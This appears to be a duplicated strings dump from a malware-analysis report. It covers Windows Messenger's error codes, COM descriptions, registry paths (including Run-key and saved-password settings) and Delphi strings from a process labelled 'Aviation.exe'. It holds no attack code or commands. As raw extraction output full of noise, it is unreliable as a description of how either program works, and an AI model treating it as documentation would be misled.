mMSGR_E_NOT_PRIMARY_SERVICEWW
mMSGR_E_NOT_PRIMARY_SERVICEWW
MSGR_E_TOO_MANY_SESSIONS
MSGR_E_TOO_MANY_SESSIONS
MSGR_E_TOO_MANY_MESSAGES
MSGR_E_TOO_MANY_MESSAGES
MSGR_E_REMOTE_LOGINW
MSGR_E_REMOTE_LOGINW
MSGR_E_INVALID_FRIENDLY_NAME
MSGR_E_INVALID_FRIENDLY_NAME
MSGR_E_SESSION_FULLW
MSGR_E_SESSION_FULLW
MSGR_E_NOT_ALLOWING_NEW_USERSWWW
MSGR_E_NOT_ALLOWING_NEW_USERSWWW
sMSGR_E_INVALID_DOMAINWWW
sMSGR_E_INVALID_DOMAINWWW
MSGR_E_TCP_ERROR
MSGR_E_TCP_ERROR
/MSGR_E_SESSION_TIMEOUTWW
/MSGR_E_SESSION_TIMEOUTWW
MSGR_E_MULTIPOINT_SESSION_BEGIN_TIMEOUTW
MSGR_E_MULTIPOINT_SESSION_BEGIN_TIMEOUTW
MSGR_E_MULTIPOINT_SESSION_END_TIMEOUTWWW
MSGR_E_MULTIPOINT_SESSION_END_TIMEOUTWWW
MSGR_E_REVERSE_LIST_FULL
MSGR_E_REVERSE_LIST_FULL
MSGR_E_SERVER_ERRORW
MSGR_E_SERVER_ERRORW
wMSGR_E_SYSTEM_CONFIG
wMSGR_E_SYSTEM_CONFIG
MSGR_E_NO_DIRECTORYW
MSGR_E_NO_DIRECTORYW
MSGR_E_RETRY_SET
MSGR_E_RETRY_SET
CMSGR_E_CHILD_WITHOUT_CONSENT
CMSGR_E_CHILD_WITHOUT_CONSENT
MSGR_E_USER_CANCELLEDWWW
MSGR_E_USER_CANCELLEDWWW
MSGR_E_CANCEL_BEFORE_CONNECT
MSGR_E_CANCEL_BEFORE_CONNECT
mMSGR_E_VOICE_IM_TIMEOUTW
mMSGR_E_VOICE_IM_TIMEOUTW
MSGR_E_NOT_ACCEPTING_PAGESWW
MSGR_E_NOT_ACCEPTING_PAGESWW
#0/?MSGR_E_EMAIL_PASSPORT_NOT_VALIDATEDW
#0/?MSGR_E_EMAIL_PASSPORT_NOT_VALIDATEDW
MSGR_E_AUDIO_UI_ACTIVEWW
MSGR_E_AUDIO_UI_ACTIVEWW
MSGR_E_NO_HARDWAREWW
MSGR_E_NO_HARDWAREWW
>MSGR_E_PAGING_UNAVAILABLEWWW
>MSGR_E_PAGING_UNAVAILABLEWWW
MSGR_E_PHONE_INVALID_NUMBERW
MSGR_E_PHONE_INVALID_NUMBERW
MSGR_E_PHONE_NO_FUNDSWWW
MSGR_E_PHONE_NO_FUNDSWWW
MSGR_E_VOICE_NO_ANSWERWW
MSGR_E_VOICE_NO_ANSWERWW
MSGR_E_VOICE_WAVEIN_DEVICEWW
MSGR_E_VOICE_WAVEIN_DEVICEWW
MSGR_E_FT_TIMEOUTWWW
MSGR_E_FT_TIMEOUTWWW
MSGR_E_MESSAGE_TOO_LONGW
MSGR_E_MESSAGE_TOO_LONGW
MSGR_E_VOICE_FIREWALLWWW
MSGR_E_VOICE_FIREWALLWWW
MSGR_E_VOICE_NETCONN
MSGR_E_VOICE_NETCONN
MSGR_E_PHONE_CIRCUITS_BUSYWW
MSGR_E_PHONE_CIRCUITS_BUSYWW
}MSGR_E_SERVER_PROTOCOLWW
}MSGR_E_SERVER_PROTOCOLWW
MSGR_E_UNAVAILABLE_VIA_HTTPW
MSGR_E_UNAVAILABLE_VIA_HTTPW
MSGR_E_PHONE_INVALID_PIN
MSGR_E_PHONE_INVALID_PIN
MSGR_E_PHONE_PINPROCEED_TIMEOUTW
MSGR_E_PHONE_PINPROCEED_TIMEOUTW
\MSGR_E_SERVER_SHUTDOWNWW
\MSGR_E_SERVER_SHUTDOWNWW
eMSGR_E_CLIENT_DISALLOWED
eMSGR_E_CLIENT_DISALLOWED
MSGR_E_PHONE_CALL_NOT_COMPLETEWW
MSGR_E_PHONE_CALL_NOT_COMPLETEWW
4MSGR_E_GROUPS_NOT_ENABLEDWWW
4MSGR_E_GROUPS_NOT_ENABLEDWWW
08XMSGR_E_GROUP_ALREADY_EXISTSW
08XMSGR_E_GROUP_ALREADY_EXISTSW
MSGR_E_TOO_MANY_GROUPSWW
MSGR_E_TOO_MANY_GROUPSWW
MSGR_E_GROUP_DOES_NOT_EXISTW
MSGR_E_GROUP_DOES_NOT_EXISTW
MSGR_E_USER_NOT_GROUP_MEMBER
MSGR_E_USER_NOT_GROUP_MEMBER
05=MSGR_E_GROUP_NAME_TOO_LONGWW
05=MSGR_E_GROUP_NAME_TOO_LONGWW
0NLMSGR_E_GROUP_NOT_EMPTYWW
0NLMSGR_E_GROUP_NOT_EMPTYWW
VMSGR_E_BAD_GROUP_NAMEWWW
VMSGR_E_BAD_GROUP_NAMEWWW
@MSGR_E_PHONESERVICE_UNAVAILABLEW
@MSGR_E_PHONESERVICE_UNAVAILABLEW
0{lMSGR_E_CANNOT_RENAME
0{lMSGR_E_CANNOT_RENAME
MSGR_E_CANNOT_DELETE
MSGR_E_CANNOT_DELETE
GMSGR_E_INVALID_SERVICEWW
GMSGR_E_INVALID_SERVICEWW
aMSGR_E_POLICY_RESTRICTED
aMSGR_E_POLICY_RESTRICTED
MSGR_S_ALREADY_IN_THE_MODEWW
MSGR_S_ALREADY_IN_THE_MODEWW
MSGR_S_TRANSFER_SEND_BEGUNWW
MSGR_S_TRANSFER_SEND_BEGUNWW
04jMSGR_S_TRANSFER_SEND_FINISHEDWWW
04jMSGR_S_TRANSFER_SEND_FINISHEDWWW
bMSGR_S_TRANSFER_RECEIVE_BEGUNWWW
bMSGR_S_TRANSFER_RECEIVE_BEGUNWWW
VMSGR_S_TRANSFER_RECEIVE_FINISHED
VMSGR_S_TRANSFER_RECEIVE_FINISHED
MSGR_S_GROUP_ALREADY_EXISTSW
MSGR_S_GROUP_ALREADY_EXISTSW
MSGR_E_FAILW
MSGR_E_FAILW
Returns main window IMessengerWindow object.WW
Returns main window IMessengerWindow object.WW
Initiates view contact profile.WWW*
Initiates view contact profile.WWW*
Initiates send file invite.WWW'
Initiates send file invite.WWW'
Initiates a sign out from all services.WWWJ
Initiates a sign out from all services.WWWJ
Initiates signin dialog and populates signin name and password edit boxes.
Initiates signin dialog and populates signin name and password edit boxes.
Initiates IM Window.WW
Initiates IM Window.WW
Initiates Phone Window.WWW
Initiates Phone Window.WWW
Initiates pager instant message Window.WWY
Initiates pager instant message Window.WWY
Initiates a signin without UI if connected to the network and contact saved the password.W
Initiates a signin without UI if connected to the network and contact saved the password.W
Returns signin name.WW
Returns signin name.WW
Returns my primary service name.WW
Returns my primary service name.WW
Returns one of my phone numbers.WW
Returns one of my phone numbers.WW
Local User property.WW
Local User property.WW
Create group in the service.WW
Create group in the service.WW
Messenger property.WWW
Messenger property.WWW
An IM Window has beed destroyed.WW*
An IM Window has beed destroyed.WW*
Messenger is shutting down.WWW
Messenger is shutting down.WWW
Signin attempt complete.WW
Signin attempt complete.WW
Result from list remove request.WW,
Result from list remove request.WW,
Result from my friendly name change request.WW
Result from my friendly name change request.WW
Result from one of my phone numbers change request.WWW0
Result from one of my phone numbers change request.WWW0
Result from one of my attributes change request.WW1
Result from one of my attributes change request.WW1
Result from contact block state change notification.WW
Result from contact block state change notification.WW
Result from contact pager configuration change notification.WW=
Result from contact pager configuration change notification.WW=
Unread email count has changed.WWW
Unread email count has changed.WWW
Returns the Handle of the Application window.WR
Returns the Handle of the Application window.WR
The vertical position (pixels) of the Application window relative to the screen.WW
The vertical position (pixels) of the Application window relative to the screen.WW
The horizontal dimension (pixels) of the Application window.WW:
The horizontal dimension (pixels) of the Application window.WW:
Show the window.WW
Show the window.WW
Window property.WW
Window property.WW
Returns signin Name of the contact.WWW#
Returns signin Name of the contact.WWW#
Return service name of the contact.WWW
Return service name of the contact.WWW
Return contact's service ID.WW,
Return contact's service ID.WW,
Returns number of contacts.WWW$
Returns number of contacts.WWW$
Returns a specific contact by index.WW&
Returns a specific contact by index.WW&
Service ID.WWW
Service ID.WWW
Service status.WWW
Service status.WWW
Signin name.WW
Signin name.WW
Primary Service Object.WWW
Primary Service Object.WWW
Number of services.WWW&
Number of services.WWW&
Enumerates the services.WW
Enumerates the services.WW
Returns the group's collection of users.WW
Returns the group's collection of users.WW
Add a contact to the group.WWW
Add a contact to the group.WWW
Remove a contact from the group.WW
Remove a contact from the group.WW
Remove a group from the collection.WWW
Remove a group from the collection.WWW
Enumerates the contacts.WW'
Enumerates the contacts.WW'
Add a user to the conversation.WWW
Add a user to the conversation.WWW
Software\Microsoft\MessengerService\ServiceProviders\{83D4679E-B6D7-11D2-BF36-00C04FB90A03}
Software\Microsoft\MessengerService\ServiceProviders\{83D4679E-B6D7-11D2-BF36-00C04FB90A03}
Software\Microsoft\MessengerService\ServiceProviders\{83D4679F-B6D7-11D2-BF36-00C04FB90A03}
Software\Microsoft\MessengerService\ServiceProviders\{83D4679F-B6D7-11D2-BF36-00C04FB90A03}
SOCKS4Port
SOCKS4Port
HTTPSServer
HTTPSServer
HTTPSPort
HTTPSPort
SOCKS5Port
SOCKS5Port
SOCKS5Password
SOCKS5Password
HTTPPort
HTTPPort
Content-Type: text/x-msmsgsinvite; charset=UTF-8
Content-Type: text/x-msmsgsinvite; charset=UTF-8
application/x-msmsgsspmessage
application/x-msmsgsspmessage
Application-URL:
Application-URL:
Port:
Port:
PortX:
PortX:
PortX-Internal:
PortX-Internal:
MSGSBlObj
MSGSBlObj
.NET Messenger Service
.NET Messenger Service
\/:*"|
\/:*"|
{5D3E02AB-6190-11d3-BBBB-00C04F795683}
{5D3E02AB-6190-11d3-BBBB-00C04F795683}
%s
%s
Software\Policies\Microsoft\Windows NT\Terminal Services
Software\Policies\Microsoft\Windows NT\Terminal Services
Password
Password
Software\Policies\Microsoft\Messenger\Client\{83D4679E-B6D7-11D2-BF36-00C04FB90A03}
Software\Policies\Microsoft\Messenger\Client\{83D4679E-B6D7-11D2-BF36-00C04FB90A03}
Software\Policies\Microsoft\Messenger\Client\{83D4679F-B6D7-11D2-BF36-00C04FB90A03}
Software\Policies\Microsoft\Messenger\Client\{83D4679F-B6D7-11D2-BF36-00C04FB90A03}
Software\Policies\Microsoft\Messenger\Client\{9B017612-C9F1-11D2-8D9F-0000F875C541}
Software\Policies\Microsoft\Messenger\Client\{9B017612-C9F1-11D2-8D9F-0000F875C541}
Software\Policies\Microsoft\Messenger\Client\{83D4679F-B6D7-11D2-BF36-00C04FB90A03}\_Default
Software\Policies\Microsoft\Messenger\Client\{83D4679F-B6D7-11D2-BF36-00C04FB90A03}\_Default
Transport
Transport
SavePassword
SavePassword
AppEvents\Schemes\Apps\MSMSGS
AppEvents\Schemes\Apps\MSMSGS
MSMSGSC Event
MSMSGSC Event
Global\MSMSGS.EXE Event
Global\MSMSGS.EXE Event
MSMSGS-
MSMSGS-
MSGSLANG.DLL
MSGSLANG.DLL
XPOB2RES.DLL
XPOB2RES.DLL
AdvApi32.Dll
AdvApi32.Dll
MessengerURL
MessengerURL
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewMessage\.Default
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewMessage\.Default
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewMessage\.Current
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewMessage\.Current
.Default\AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewMessage\.Default
.Default\AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewMessage\.Default
AppEvents\EventLabels\MSMsgs_NewMessage
AppEvents\EventLabels\MSMsgs_NewMessage
.Default\AppEvents\EventLabels\MSMsgs_NewMessage
.Default\AppEvents\EventLabels\MSMsgs_NewMessage
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewMail\.Default
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewMail\.Default
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewMail\.Current
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewMail\.Current
.Default\AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewMail\.Default
.Default\AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewMail\.Default
AppEvents\EventLabels\MSMsgs_NewMail
AppEvents\EventLabels\MSMsgs_NewMail
.Default\AppEvents\EventLabels\MSMsgs_NewMail
.Default\AppEvents\EventLabels\MSMsgs_NewMail
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewAlert\.Default
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewAlert\.Default
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewAlert\.Current
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewAlert\.Current
.Default\AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewAlert\.Default
.Default\AppEvents\Schemes\Apps\MSMsgs\MSMsgs_NewAlert\.Default
AppEvents\EventLabels\MSMsgs_NewAlert
AppEvents\EventLabels\MSMsgs_NewAlert
.Default\AppEvents\EventLabels\MSMsgs_NewAlert
.Default\AppEvents\EventLabels\MSMsgs_NewAlert
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_ContactOnline\.Default
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_ContactOnline\.Default
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_ContactOnline\.Current
AppEvents\Schemes\Apps\MSMsgs\MSMsgs_ContactOnline\.Current
.Default\AppEvents\Schemes\Apps\MSMsgs\MSMsgs_ContactOnline\.Default
.Default\AppEvents\Schemes\Apps\MSMsgs\MSMsgs_ContactOnline\.Default
AppEvents\EventLabels\MSMsgs_ContactOnline
AppEvents\EventLabels\MSMsgs_ContactOnline
.Default\AppEvents\EventLabels\MSMsgs_ContactOnline
.Default\AppEvents\EventLabels\MSMsgs_ContactOnline
.Default\AppEvents\Schemes\Apps\MSMsgs
.Default\AppEvents\Schemes\Apps\MSMsgs
OLE32.DLL
OLE32.DLL
{02D3C01F-BF30-4825-A83A-DE7AF41648AA}
{02D3C01F-BF30-4825-A83A-DE7AF41648AA}
{1DF57D09-637A-4ca5-91B9-2C3EDAAF62FE}
{1DF57D09-637A-4ca5-91B9-2C3EDAAF62FE}
{F1B1920C-6A3C-4ce7-B18C-AFAB305FD03D}
{F1B1920C-6A3C-4ce7-B18C-AFAB305FD03D}
sqmdatad.sqm
sqmdatad.sqm
sqmdata*.sqm
sqmdata*.sqm
hXXp://sqm.microsoft.com/sqm/WM/sqmserver.dll
hXXp://sqm.microsoft.com/sqm/WM/sqmserver.dll
\Windows Messenger
\Windows Messenger
%s.%lu
%s.%lu
custsat.dll
custsat.dll
msgslang.dll
msgslang.dll
PassportBalloon
PassportBalloon
TryWindowsMsgrShutdown
TryWindowsMsgrShutdown
logowin.gif
logowin.gif
SOFTWARE\Clients\Mail\%s\shell\open\command
SOFTWARE\Clients\Mail\%s\shell\open\command
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Run
SharePassportCredentials
SharePassportCredentials
text/x-msmsgscontrol
text/x-msmsgscontrol
text/x-msmsgssystemmessage; charset=UTF-8
text/x-msmsgssystemmessage; charset=UTF-8
text/x-msmsgssystemmessage
text/x-msmsgssystemmessage
application/x-msmsgssystemmessage
application/x-msmsgssystemmessage
text/x-msmsgsprofile; charset=UTF-8
text/x-msmsgsprofile; charset=UTF-8
text/x-msmsgsprofile
text/x-msmsgsprofile
MSMSGS_ContactOnline
MSMSGS_ContactOnline
MSMSGS_NewAlert
MSMSGS_NewAlert
LCOMCTL32.DLL
LCOMCTL32.DLL
NOTIFICATION/MSG/BODY
NOTIFICATION/MSG/BODY
NOTIFICATION/MSG/ACTION
NOTIFICATION/MSG/ACTION
NOTIFICATION/MSG/SUBSCR
NOTIFICATION/MSG/SUBSCR
siteurl
siteurl
2kmsgr5.chm
2kmsgr5.chm
xpmsgr.chm
xpmsgr.chm
{56b994a7-380f-410b-9985-c809d78c1bdc}
{56b994a7-380f-410b-9985-c809d78c1bdc}
text/x-msmsgsemailnotification; charset=UTF-8
text/x-msmsgsemailnotification; charset=UTF-8
text/x-msmsgsemailnotification
text/x-msmsgsemailnotification
application/x-msmsgsemailnotification
application/x-msmsgsemailnotification
text/x-msmsgsinitialemailnotification; charset=UTF-8
text/x-msmsgsinitialemailnotification; charset=UTF-8
text/x-msmsgsinitialemailnotification
text/x-msmsgsinitialemailnotification
to_pid=%s¬ification_id=%s&message_id=%s&agent=messenger
to_pid=%s¬ification_id=%s&message_id=%s&agent=messenger
NOTIFICATION/MSG
NOTIFICATION/MSG
%s\%s(%d)
%s\%s(%d)
%s\%s(%d).%s
%s\%s(%d).%s
HH.EXE
HH.EXE
%s::%s
%s::%s
%%windir%%\help\MUI\x\%s
%%windir%%\help\MUI\x\%s
WindowsMessenger
WindowsMessenger
HNetCfg.FwAuthorizedApplication
HNetCfg.FwAuthorizedApplication
HNetCfg.FwMgr
HNetCfg.FwMgr
%ProgramFiles%\messenger\msmsgs.exe
%ProgramFiles%\messenger\msmsgs.exe
%s/%s
%s/%s
%s%c%s
%s%c%s
http:
http:
NOTIFICATION/MSG/BODY/TEXT
NOTIFICATION/MSG/BODY/TEXT
SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack
SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack
PerPassportSettings
PerPassportSettings
{83D4679F-B6D7-11D2-BF36-00C04FB90A03}
{83D4679F-B6D7-11D2-BF36-00C04FB90A03}
{83D4679E-B6D7-11D2-BF36-00C04FB90A03}
{83D4679E-B6D7-11D2-BF36-00C04FB90A03}
{9b017612-c9f1-11d2-8d9f-0000f875c541}
{9b017612-c9f1-11d2-8d9f-0000f875c541}
{E9133EFD-6D33-4a0b-988A-C7B5979C4820}
{E9133EFD-6D33-4a0b-988A-C7B5979C4820}
%hs\%hs\%u
%hs\%hs\%u
\Microsoft\Windows Messenger
\Microsoft\Windows Messenger
URL Protocol
URL Protocol
URL:Telephony Protocol
URL:Telephony Protocol
import:
import:
{44BBA842-CC51-11CF-AAFA-00AA00B6015C}
{44BBA842-CC51-11CF-AAFA-00AA00B6015C}
{44BBA842-CC51-11CF-AAFA-00AA00B6015B}
{44BBA842-CC51-11CF-AAFA-00AA00B6015B}
KERNEL32.DLL
KERNEL32.DLL
{X-X-X-XX-
{X-X-X-XX-
BhXXps://
BhXXps://
Software\Clients\IM\Windows Messenger\InstallInfo
Software\Clients\IM\Windows Messenger\InstallInfo
SYSTEM\CurrentControlSet\Control\Windows
SYSTEM\CurrentControlSet\Control\Windows
comctl32.dll
comctl32.dll
wtsapi32.dll
wtsapi32.dll
InkEd.dll
InkEd.dll
sensapi.dll
sensapi.dll
MSIMG32.DLL
MSIMG32.DLL
(MSN/Windows) Messenger Service
(MSN/Windows) Messenger Service
\MsiExec.Exe
\MsiExec.Exe
\Msi.Dll
\Msi.Dll
%s\Microsoft Shared\DW\dw20.exe -x -s %u
%s\Microsoft Shared\DW\dw20.exe -x -s %u
Windows Messenger
Windows Messenger
icmp.dll
icmp.dll
rasapi32.dll
rasapi32.dll
tapi32.dll
tapi32.dll
wintrust.dll
wintrust.dll
\WININIT.INI
\WININIT.INI
advpack.dll,LaunchINFSection qmgr.inf,DefaultInstall,1
advpack.dll,LaunchINFSection qmgr.inf,DefaultInstall,1
rundll32.exe
rundll32.exe
COMCTL32.DLL
COMCTL32.DLL
ole32.Dll
ole32.Dll
calendar.msn.com
calendar.msn.com
hotmail.msn.com
hotmail.msn.com
hotmail.com
hotmail.com
microsoft.com
microsoft.com
EchoPortManager
EchoPortManager
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
rTCP
rTCP
PassportWizard
PassportWizard
UseKeyring
UseKeyring
PassportHash
PassportHash
credui.dll
credui.dll
uxtheme.dll
uxtheme.dll
ScrnSave.exe
ScrnSave.exe
{d597bab1-5b9f-11d1-8dd2-00aa004abd5e}
{d597bab1-5b9f-11d1-8dd2-00aa004abd5e}
{d5978620-5b9f-11d1-8dd2-00aa004abd5e}
{d5978620-5b9f-11d1-8dd2-00aa004abd5e}
EventSystem.EventSubscription
EventSystem.EventSubscription
SubscriptionID == %s
SubscriptionID == %s
MsgrSessionManagerGuid
MsgrSessionManagerGuid
lvback.gif
lvback.gif
%s %s %s
%s %s %s
WindowsScreenSaverClass
WindowsScreenSaverClass
MSBLPopupMsgWClass
MSBLPopupMsgWClass
%s (%d/%d)
%s (%d/%d)
%s %d/%d
%s %d/%d
%s (%d)
%s (%d)
contenturl
contenturl
{05C9D843-C82C-4ac3-BCDA-2E74E78721AD}
{05C9D843-C82C-4ac3-BCDA-2E74E78721AD}
{C9F94B63-DCE4-4248-995D-5AA84CDB887F}
{C9F94B63-DCE4-4248-995D-5AA84CDB887F}
FN=%s; EF=%s; CO=%lx; CS=%x; PF=%x
FN=%s; EF=%s; CO=%lx; CS=%x; PF=%x
FN=%s; EF=%s; CO=%lx; CS=%x; PF=%x; RL=1
FN=%s; EF=%s; CO=%lx; CS=%x; PF=%x; RL=1
MSMSGS_NewMessage
MSMSGS_NewMessage
RICHED32.DLL
RICHED32.DLL
RICHED20.DLL
RICHED20.DLL
WVERSION.dll
WVERSION.dll
MsgrBanner
MsgrBanner
port
port
\rcImLby.exe
\rcImLby.exe
sip:%s@%s;user=phone
sip:%s@%s;user=phone
tel:%s
tel:%s
conf.exe
conf.exe
logourl
logourl
urls
urls
transport
transport
passport-site
passport-site
appshare@msnmsgr.com
appshare@msnmsgr.com
Microsoft.RTCContainer
Microsoft.RTCContainer
e450.voice.microsoft.com
e450.voice.microsoft.com
MsgsPhoneWindowClass
MsgsPhoneWindowClass
[%s] %s
[%s] %s
%1 "%2 (%3)"
%1 "%2 (%3)"
%s%sctry=%s&lcid=%s
%s%sctry=%s&lcid=%s
%s%sctry=%s&lcid=%s&err=%d
%s%sctry=%s&lcid=%s&err=%d
Keypad
Keypad
WPassport1.4
WPassport1.4
Passport.Net
Passport.Net
%s %s\%s
%s %s\%s
@hotmail.com
@hotmail.com
shell32.dll,Control_RunDLL mmsys.cpl,
shell32.dll,Control_RunDLL mmsys.cpl,
mmsys.cpl
mmsys.cpl
Ports
Ports
%u-%u
%u-%u
Port
Port
LoginTime:
LoginTime:
ClientPort:
ClientPort:
yPassportNexus
yPassportNexus
Contact%d
Contact%d
Block%d
Block%d
Allow%d
Allow%d
Reverse%d
Reverse%d
Group%d
Group%d
MsgPrivacy
MsgPrivacy
\ListCache.dat
\ListCache.dat
MS_WebcheckMonitor
MS_WebcheckMonitor
yHTTPGatewayPort
yHTTPGatewayPort
/gateway/gateway.dll
/gateway/gateway.dll
MSNMSGRPassportLogin
MSNMSGRPassportLogin
msmsgs CHttpIE
msmsgs CHttpIE
HTTP/1.1
HTTP/1.1
https
https
82BD0E67-9FEA-4748-8672-D5EFE5B779B0
82BD0E67-9FEA-4748-8672-D5EFE5B779B0
{54A345A1-94F3-40CF-9C83-821DF3F33642}
{54A345A1-94F3-40CF-9C83-821DF3F33642}
msmsgs
msmsgs
Version 4.7.3001
Version 4.7.3001
xpTOCSelectServices.htm
xpTOCSelectServices.htm
xpTOCAccounts.htm
xpTOCAccounts.htm
xpTOCLogoff.htm
xpTOCLogoff.htm
xprtcreconfig.htm
xprtcreconfig.htm
TOCPreferences.htm
TOCPreferences.htm
TOCPhone.htm
TOCPhone.htm
emoticons.htm
emoticons.htm
xchgadvanced.htm
xchgadvanced.htm
rtcreconfig.htm
rtcreconfig.htm
TOCDialer.htm
TOCDialer.htm
xpTOCLogon.htm
xpTOCLogon.htm
xpTOCPreferences.htm
xpTOCPreferences.htm
xpTOCPhone.htm
xpTOCPhone.htm
xpTOCDialer.htm
xpTOCDialer.htm
TOCSelectServices.htm
TOCSelectServices.htm
TOCLogoff.htm
TOCLogoff.htm
TOCLogon.htm
TOCLogon.htm
TOCMessage.htm
TOCMessage.htm
xpTOCMessage.htm
xpTOCMessage.htm
TOCPrivacy.htm
TOCPrivacy.htm
TOCAccounts.htm
TOCAccounts.htm
TOCConnection.htm
TOCConnection.htm
TOCPersonal.htm
TOCPersonal.htm
xpwhyfileblocked.htm
xpwhyfileblocked.htm
Aviation.exe_620:
.text
.text
`.itext
`.itext
`.data
`.data
.idata
.idata
.rdata
.rdata
@.reloc
@.reloc
B.rsrc
B.rsrc
kernel32.dll
kernel32.dll
Windows
Windows
MSWHEEL_ROLLMSG
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
MSH_SCROLL_LINES_MSG
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
oleaut32.dll
oleaut32.dll
EVariantBadIndexError
EVariantBadIndexError
ssShift
ssShift
htKeyword
htKeyword
EInvalidOperation
EInvalidOperation
%s[%d]
%s[%d]
%s_%d
%s_%d
.Owner
.Owner
EInvalidGraphicOperation
EInvalidGraphicOperation
SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes
SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes
clWebSnow
clWebSnow
clWebFloralWhite
clWebFloralWhite
clWebLavenderBlush
clWebLavenderBlush
clWebOldLace
clWebOldLace
clWebIvory
clWebIvory
clWebCornSilk
clWebCornSilk
clWebBeige
clWebBeige
clWebAntiqueWhite
clWebAntiqueWhite
clWebWheat
clWebWheat
clWebAliceBlue
clWebAliceBlue
clWebGhostWhite
clWebGhostWhite
clWebLavender
clWebLavender
clWebSeashell
clWebSeashell
clWebLightYellow
clWebLightYellow
clWebPapayaWhip
clWebPapayaWhip
clWebNavajoWhite
clWebNavajoWhite
clWebMoccasin
clWebMoccasin
clWebBurlywood
clWebBurlywood
clWebAzure
clWebAzure
clWebMintcream
clWebMintcream
clWebHoneydew
clWebHoneydew
clWebLinen
clWebLinen
clWebLemonChiffon
clWebLemonChiffon
clWebBlanchedAlmond
clWebBlanchedAlmond
clWebBisque
clWebBisque
clWebPeachPuff
clWebPeachPuff
clWebTan
clWebTan
clWebYellow
clWebYellow
clWebDarkOrange
clWebDarkOrange
clWebRed
clWebRed
clWebDarkRed
clWebDarkRed
clWebMaroon
clWebMaroon
clWebIndianRed
clWebIndianRed
clWebSalmon
clWebSalmon
clWebCoral
clWebCoral
clWebGold
clWebGold
clWebTomato
clWebTomato
clWebCrimson
clWebCrimson
clWebBrown
clWebBrown
clWebChocolate
clWebChocolate
clWebSandyBrown
clWebSandyBrown
clWebLightSalmon
clWebLightSalmon
clWebLightCoral
clWebLightCoral
clWebOrange
clWebOrange
clWebOrangeRed
clWebOrangeRed
clWebFirebrick
clWebFirebrick
clWebSaddleBrown
clWebSaddleBrown
clWebSienna
clWebSienna
clWebPeru
clWebPeru
clWebDarkSalmon
clWebDarkSalmon
clWebRosyBrown
clWebRosyBrown
clWebPaleGoldenrod
clWebPaleGoldenrod
clWebLightGoldenrodYellow
clWebLightGoldenrodYellow
clWebOlive
clWebOlive
clWebForestGreen
clWebForestGreen
clWebGreenYellow
clWebGreenYellow
clWebChartreuse
clWebChartreuse
clWebLightGreen
clWebLightGreen
clWebAquamarine
clWebAquamarine
clWebSeaGreen
clWebSeaGreen
clWebGoldenRod
clWebGoldenRod
clWebKhaki
clWebKhaki
clWebOliveDrab
clWebOliveDrab
clWebGreen
clWebGreen
clWebYellowGreen
clWebYellowGreen
clWebLawnGreen
clWebLawnGreen
clWebPaleGreen
clWebPaleGreen
clWebMediumAquamarine
clWebMediumAquamarine
clWebMediumSeaGreen
clWebMediumSeaGreen
clWebDarkGoldenRod
clWebDarkGoldenRod
clWebDarkKhaki
clWebDarkKhaki
clWebDarkOliveGreen
clWebDarkOliveGreen
clWebDarkgreen
clWebDarkgreen
clWebLimeGreen
clWebLimeGreen
clWebLime
clWebLime
clWebSpringGreen
clWebSpringGreen
clWebMediumSpringGreen
clWebMediumSpringGreen
clWebDarkSeaGreen
clWebDarkSeaGreen
clWebLightSeaGreen
clWebLightSeaGreen
clWebPaleTurquoise
clWebPaleTurquoise
clWebLightCyan
clWebLightCyan
clWebLightBlue
clWebLightBlue
clWebLightSkyBlue
clWebLightSkyBlue
clWebCornFlowerBlue
clWebCornFlowerBlue
clWebDarkBlue
clWebDarkBlue
clWebIndigo
clWebIndigo
clWebMediumTurquoise
clWebMediumTurquoise
clWebTurquoise
clWebTurquoise
clWebCyan
clWebCyan
clWebPowderBlue
clWebPowderBlue
clWebSkyBlue
clWebSkyBlue
clWebRoyalBlue
clWebRoyalBlue
clWebMediumBlue
clWebMediumBlue
clWebMidnightBlue
clWebMidnightBlue
clWebDarkTurquoise
clWebDarkTurquoise
clWebCadetBlue
clWebCadetBlue
clWebDarkCyan
clWebDarkCyan
clWebTeal
clWebTeal
clWebDeepskyBlue
clWebDeepskyBlue
clWebDodgerBlue
clWebDodgerBlue
clWebBlue
clWebBlue
clWebNavy
clWebNavy
clWebDarkViolet
clWebDarkViolet
clWebDarkOrchid
clWebDarkOrchid
clWebMagenta
clWebMagenta
clWebDarkMagenta
clWebDarkMagenta
clWebMediumVioletRed
clWebMediumVioletRed
clWebPaleVioletRed
clWebPaleVioletRed
clWebBlueViolet
clWebBlueViolet
clWebMediumOrchid
clWebMediumOrchid
clWebMediumPurple
clWebMediumPurple
clWebPurple
clWebPurple
clWebDeepPink
clWebDeepPink
clWebLightPink
clWebLightPink
clWebViolet
clWebViolet
clWebOrchid
clWebOrchid
